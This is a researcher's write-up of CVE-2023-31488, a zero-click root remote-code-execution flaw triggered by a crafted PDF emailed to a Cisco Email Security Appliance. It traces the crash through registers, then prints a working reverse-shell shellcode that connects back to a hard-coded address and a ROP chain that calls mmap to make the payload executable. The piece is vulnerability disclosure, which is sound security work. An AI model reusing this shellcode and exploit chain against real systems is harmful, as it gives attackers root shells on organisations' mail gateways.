Cisco Email Security Appliance: Email to zero-click RCE as root - Remote Code Execution/Memory Corruption/ROP-chain
Security researcher: ly1g3, ly1g3[at]tuta.io
GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Overview: Email to zero click RCE as root - Remote Code Execution/Memory Corruption/ROP-chain
CVE: CVE-2023-31488
Timeline:
While fuzzing the Cisco Email Security Appliance (ESA), I discovered a vulnerability in Lexmark Perceptive Filters, used by the ESA for data sanitization of email attachments, leading to RCE via email. The crash occurs when parsing a modified PDF attachment. By altering a double-digit PDF object ID, for instance:
For example:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Changing part of the ID from 13 to something else (like a space) results in:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Sending this modified PDF in an email to the Cisco ESA causes a segmentation fault crash in libISYSpdf6.so. The crash is due to r14 containing ASCII data.
Closer inspection shows that this data comes from the content of the PDF attachment under our control. The value of r14 is Rect.
Testing when changing Rect to AAAA.
Since the value of r14 is loaded from data in the PDF, we can modify it to point at a valid memory address. After this adjustment, another crash occurs due to invalid data in RAX. This data is also ASCII from the PDF.
We modify the pdf so that rax also points to an actual address and proceed further.
A new crash occurs; now rsi contains ASCII data from the PDF.
We modify the PDF again to load a real memory address.
Finally, we come to a very interesting part of code. Where we control rdi, which is used to load a value into rax. The final instruction in this sequence is call rax. We are now making good progress towards achieving code execution capabilities.
Once again we enter the hex editor and modify the value loaded into rdi.
Now we have a way of limited code execution and can jump to a single address. Since ASLR is not present finding memory addresses is easy. We also control rdi and therefore use the initial ROP-gadget libISYSshared.so: push rdi; pop rsp; xor eax, to move rdi to rsp to control the stack. We point the stack to a area we control in the PDF memory region with a custom stack prepped with more rop gadgets.
A FreeBSD reverse-shell shellcode generated by msfvenom is placed the PDF memory region. But since the memory is not executable we first have to make it executable.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
Since we at this point control the stack this can be done by the following ROP-chain to call to mmap to set the shellcode memory region as RWX.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
After mmap is called call rsp; will execute the NOP-sled of our shellcode since the address of the shellcode is next on our custom stack. The shellcode is a msfvenom generated reverse shell.
A interesting thing is that this code is run before any static antivirus scans so the standard metasploit reverse shell will work just fine.
We can use the POC below to create a working PDF. After this we just send it in a email to the ESA to gain RCE. See my other vulnerabilities for privilege escalation.
And by that we gain a remote shell on the ESA:
This was a fun project that taught me alot about memory corruption vulnerabilities. It also showcases how good of a protection "modern" memory protection like ASLR is, but also that you can still find non ASLR systems out there.
ESA (Cisco Secure Email) overflow attack. Remote Code Execution as root.
By sending a specially crafted PDF file a overflow causes a attacker to gain Arbitrary Remote Code Execution on the ESA and other products using Lexmark Perceptive Filters.
This overflow attack allows the attacker to gain control over a call rax instruction which makes it trivial to pivot to arbitrary code execution since no ASLR is used on the ESA. Code will execute as root.
The problem comes from pdf parsing in the libISYSpdf6.so library by Lexmark and is caused by calls to the IGR_Open_File_Ex function. This function can be traced to the safeprint functions and image_analysis in AMP (Advanced Malware Protection) but the exploit could possibly be triggered using other paths aswell.